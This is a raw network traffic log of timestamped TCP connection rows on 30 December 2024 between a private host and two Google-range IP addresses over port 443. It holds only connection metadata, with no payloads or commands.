Dec 30, 2024 11:36:15.177788019 CET	443	49845	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:15.177864075 CET	49845	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:15.206487894 CET	443	49844	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:15.207039118 CET	49844	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:15.209733009 CET	49845	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:15.209733963 CET	49844	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:15.209825993 CET	443	49844	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:15.209855080 CET	49842	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:15.209878922 CET	49844	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:15.209907055 CET	49843	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:15.211509943 CET	49846	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:15.211556911 CET	443	49846	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:15.211627960 CET	49846	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:15.213279963 CET	49846	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:15.213295937 CET	443	49846	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:15.215759993 CET	49847	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:15.215811968 CET	443	49847	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:15.216037035 CET	49847	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:15.219995975 CET	49847	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:15.220029116 CET	443	49847	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:15.833933115 CET	443	49846	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:15.834031105 CET	49846	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:15.857042074 CET	49846	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:15.857074976 CET	443	49846	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:15.858748913 CET	49846	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:15.858772039 CET	443	49846	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:15.858827114 CET	443	49847	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:15.858891010 CET	49847	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:15.859203100 CET	49847	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:15.859211922 CET	443	49847	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:15.859321117 CET	49847	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:15.859328032 CET	443	49847	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:16.205513000 CET	443	49846	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:16.205570936 CET	49846	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:16.206463099 CET	443	49846	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:16.206511021 CET	443	49846	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:16.206511021 CET	49846	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:16.206546068 CET	49846	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:16.207956076 CET	49846	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:16.207972050 CET	443	49846	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:16.208897114 CET	49850	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:16.208942890 CET	443	49850	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:16.209063053 CET	49850	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:16.209279060 CET	49851	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:16.209316015 CET	443	49851	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:16.209366083 CET	49851	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:16.210000992 CET	49850	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:16.210011959 CET	443	49850	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:16.210069895 CET	49851	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:16.210081100 CET	443	49851	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:16.239272118 CET	443	49847	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:16.239447117 CET	49847	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:16.239464045 CET	443	49847	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:16.239686966 CET	49847	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:16.240958929 CET	443	49847	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:16.241014957 CET	443	49847	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:16.241049051 CET	49847	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:16.241049051 CET	49847	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:16.256237984 CET	49847	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:16.256259918 CET	443	49847	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:16.256738901 CET	49852	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:16.256794930 CET	443	49852	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:16.256848097 CET	49852	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:16.256963015 CET	49853	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:16.256999016 CET	443	49853	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:16.257869959 CET	49853	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:16.258173943 CET	49853	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:16.258183956 CET	443	49853	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:16.260267019 CET	49852	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:16.260278940 CET	443	49852	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:16.811239004 CET	443	49851	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:16.811311007 CET	49851	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:16.812189102 CET	49851	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:16.812196016 CET	443	49851	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:16.812414885 CET	49851	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:16.812418938 CET	443	49851	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:16.819528103 CET	443	49850	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:16.819606066 CET	49850	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:16.825269938 CET	49850	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:16.825284004 CET	443	49850	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:16.825571060 CET	443	49850	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:16.825624943 CET	49850	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:16.826287985 CET	49850	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:16.856861115 CET	443	49853	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:16.856914043 CET	49853	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:16.857518911 CET	49853	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:16.857528925 CET	443	49853	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:16.857748032 CET	49853	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:16.857757092 CET	443	49853	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:16.867332935 CET	443	49850	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:16.888407946 CET	443	49852	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:16.888503075 CET	49852	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:16.896378040 CET	49852	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:16.896399021 CET	443	49852	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:16.896764994 CET	443	49852	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:16.896959066 CET	49852	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:16.897804976 CET	49852	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:16.943332911 CET	443	49852	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:17.184946060 CET	443	49851	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:17.185015917 CET	49851	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:17.185046911 CET	443	49851	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:17.185089111 CET	49851	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:17.185532093 CET	49851	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:17.185576916 CET	443	49851	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:17.185740948 CET	443	49851	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:17.185796022 CET	49851	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:17.185811043 CET	49851	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:17.186259031 CET	49857	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:17.186290026 CET	443	49857	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:17.186475992 CET	49857	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:17.186610937 CET	49857	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:17.186619997 CET	443	49857	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:17.229031086 CET	443	49853	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:17.229327917 CET	49853	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:17.229327917 CET	49853	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:17.229407072 CET	443	49853	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:17.229558945 CET	443	49853	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:17.230087042 CET	49853	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:17.230087042 CET	49853	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:17.230087042 CET	49858	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:17.230144978 CET	443	49858	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:17.230354071 CET	49858	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:17.230582952 CET	49858	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:17.230593920 CET	443	49858	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:17.245572090 CET	443	49850	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:17.245640039 CET	443	49850	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:17.245701075 CET	49850	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:17.245701075 CET	49850	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:17.245726109 CET	443	49850	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:17.245750904 CET	443	49850	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:17.245907068 CET	49850	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:17.246922016 CET	49850	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:17.246942997 CET	443	49850	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:17.248104095 CET	49859	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:17.248142958 CET	443	49859	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:17.248219967 CET	49859	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:17.248450041 CET	49859	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:17.248460054 CET	443	49859	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:17.402107000 CET	443	49852	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:17.402158976 CET	49852	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:17.402162075 CET	443	49852	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:17.402175903 CET	443	49852	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:17.402206898 CET	49852	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:17.402220011 CET	443	49852	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:17.402291059 CET	49852	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:17.403577089 CET	443	49852	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:17.403626919 CET	443	49852	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:17.403649092 CET	49852	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:17.403661966 CET	49852	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:17.424515009 CET	49852	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:17.424530983 CET	443	49852	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:17.425282001 CET	49860	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:17.425327063 CET	443	49860	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:17.425506115 CET	49860	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:17.425833941 CET	49860	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:17.425848961 CET	443	49860	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:17.813581944 CET	443	49857	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:17.814166069 CET	49857	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:17.814431906 CET	443	49857	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:17.814481974 CET	49857	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:17.829010010 CET	443	49858	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:17.829781055 CET	443	49858	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:17.831079960 CET	49858	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:17.831079960 CET	49858	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:17.831098080 CET	443	49858	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:17.831161976 CET	49858	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:17.850347996 CET	443	49859	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:17.856507063 CET	49859	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:17.964837074 CET	49857	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:17.964852095 CET	443	49857	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:17.965236902 CET	443	49857	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:17.965308905 CET	49857	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:17.972598076 CET	49857	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:17.972671986 CET	49858	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:17.972683907 CET	443	49858	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:17.972999096 CET	443	49858	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:17.973100901 CET	49858	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:17.976474047 CET	49859	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:17.976485968 CET	443	49859	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:17.976624012 CET	49859	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:17.976628065 CET	443	49859	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:17.976795912 CET	49858	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:18.019329071 CET	443	49858	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:18.019331932 CET	443	49857	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:18.024446011 CET	443	49860	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:18.024509907 CET	49860	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:18.024956942 CET	49860	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:18.024970055 CET	443	49860	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:18.025129080 CET	49860	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:18.025137901 CET	443	49860	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:18.256561041 CET	443	49858	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:18.257402897 CET	443	49858	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:18.257455111 CET	49858	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:18.257455111 CET	49858	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:18.257697105 CET	49858	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:18.257726908 CET	443	49858	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:18.258620977 CET	49861	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:18.258660078 CET	443	49861	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:18.258707047 CET	49861	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:18.259485006 CET	49861	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:18.259495974 CET	443	49861	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:18.264394045 CET	443	49857	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:18.264555931 CET	49857	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:18.264666080 CET	49857	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:18.264688015 CET	443	49857	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:18.264729977 CET	49857	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:18.265217066 CET	49862	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:18.265244007 CET	443	49862	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:18.265434027 CET	49862	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:18.265666962 CET	49862	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:18.265678883 CET	443	49862	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:18.404248953 CET	443	49859	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:18.404294014 CET	443	49859	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:18.404355049 CET	49859	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:18.404375076 CET	443	49859	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:18.404431105 CET	443	49859	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:18.404493093 CET	49859	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:18.406239986 CET	49859	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:18.406258106 CET	443	49859	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:18.406961918 CET	49863	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:18.407016039 CET	443	49863	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:18.407087088 CET	49863	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:18.407423973 CET	49863	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:18.407440901 CET	443	49863	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:18.430159092 CET	443	49860	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:18.430217028 CET	443	49860	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:18.430254936 CET	49860	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:18.430278063 CET	443	49860	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:18.430291891 CET	49860	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:18.430319071 CET	49860	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:18.430325031 CET	443	49860	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:18.430356979 CET	443	49860	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:18.430396080 CET	49860	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:18.438730001 CET	49860	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:18.438760996 CET	443	49860	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:18.440037966 CET	49864	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:18.440093040 CET	443	49864	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:18.441508055 CET	49864	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:18.444487095 CET	49864	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:18.444511890 CET	443	49864	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:18.857687950 CET	443	49861	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:18.857763052 CET	49861	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:18.858159065 CET	49861	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:18.858165026 CET	443	49861	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:18.858345032 CET	49861	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:18.858350039 CET	443	49861	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:18.898335934 CET	443	49862	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:18.898407936 CET	49862	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:18.899137020 CET	49862	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:18.899151087 CET	443	49862	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:18.899343014 CET	49862	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:18.899350882 CET	443	49862	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:19.005765915 CET	443	49863	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:19.005844116 CET	49863	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:19.009582043 CET	49863	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:19.009592056 CET	443	49863	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:19.012031078 CET	49863	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:19.012037992 CET	443	49863	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:19.048625946 CET	443	49864	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:19.048710108 CET	49864	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:19.049190044 CET	49864	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:19.049201012 CET	443	49864	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:19.049360991 CET	49864	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:19.049365997 CET	443	49864	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:19.221074104 CET	49861	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:19.221102953 CET	49862	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:19.221126080 CET	49863	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:19.221131086 CET	49864	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:19.222928047 CET	49866	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:19.222965002 CET	443	49866	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:19.223110914 CET	49866	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:19.223898888 CET	49866	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:19.223912001 CET	443	49866	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:19.224543095 CET	49867	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:19.224602938 CET	443	49867	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:19.224657059 CET	49867	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:19.225100040 CET	49867	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:19.225126028 CET	443	49867	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:19.828183889 CET	443	49867	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:19.828295946 CET	49867	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:19.828820944 CET	49867	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:19.828834057 CET	443	49867	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:19.830741882 CET	49867	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:19.830765009 CET	443	49867	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:19.838308096 CET	443	49866	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:19.838448048 CET	49866	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:19.839162111 CET	49866	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:19.839173079 CET	443	49866	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:19.839323044 CET	49866	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:19.839329004 CET	443	49866	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:20.206506968 CET	443	49867	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:20.206584930 CET	49867	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:20.206614017 CET	443	49867	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:20.206675053 CET	49867	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:20.206968069 CET	49867	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:20.207020998 CET	443	49867	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:20.207201004 CET	443	49867	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:20.207288027 CET	49867	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:20.207304001 CET	49867	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:20.207665920 CET	49870	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:20.207707882 CET	443	49870	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:20.207777977 CET	49870	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:20.207813978 CET	49871	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:20.207875013 CET	443	49871	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:20.207976103 CET	49871	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:20.208278894 CET	49870	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:20.208302975 CET	443	49870	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:20.208465099 CET	49871	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:20.208478928 CET	443	49871	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:20.214353085 CET	443	49866	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:20.214461088 CET	49866	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:20.214489937 CET	443	49866	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:20.214615107 CET	49866	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:20.214695930 CET	49866	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:20.214742899 CET	443	49866	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:20.214796066 CET	49866	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:20.215276003 CET	49872	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:20.215328932 CET	443	49872	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:20.215435982 CET	49873	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:20.215446949 CET	49872	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:20.215468884 CET	443	49873	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:20.215517044 CET	49873	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:20.215648890 CET	49872	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:20.215665102 CET	443	49872	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:20.215747118 CET	49873	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:20.215759993 CET	443	49873	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:20.807652950 CET	443	49870	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:20.807837009 CET	49870	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:20.808535099 CET	49870	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:20.808552027 CET	443	49870	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:20.810508013 CET	49870	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:20.810520887 CET	443	49870	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:20.811003923 CET	443	49871	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:20.811068058 CET	49871	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:20.811886072 CET	443	49871	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:20.811928034 CET	49871	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:20.813637972 CET	49871	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:20.813657999 CET	443	49871	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:20.813935995 CET	443	49871	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:20.814069986 CET	49871	443	192.168.2.4	142.250.186.142
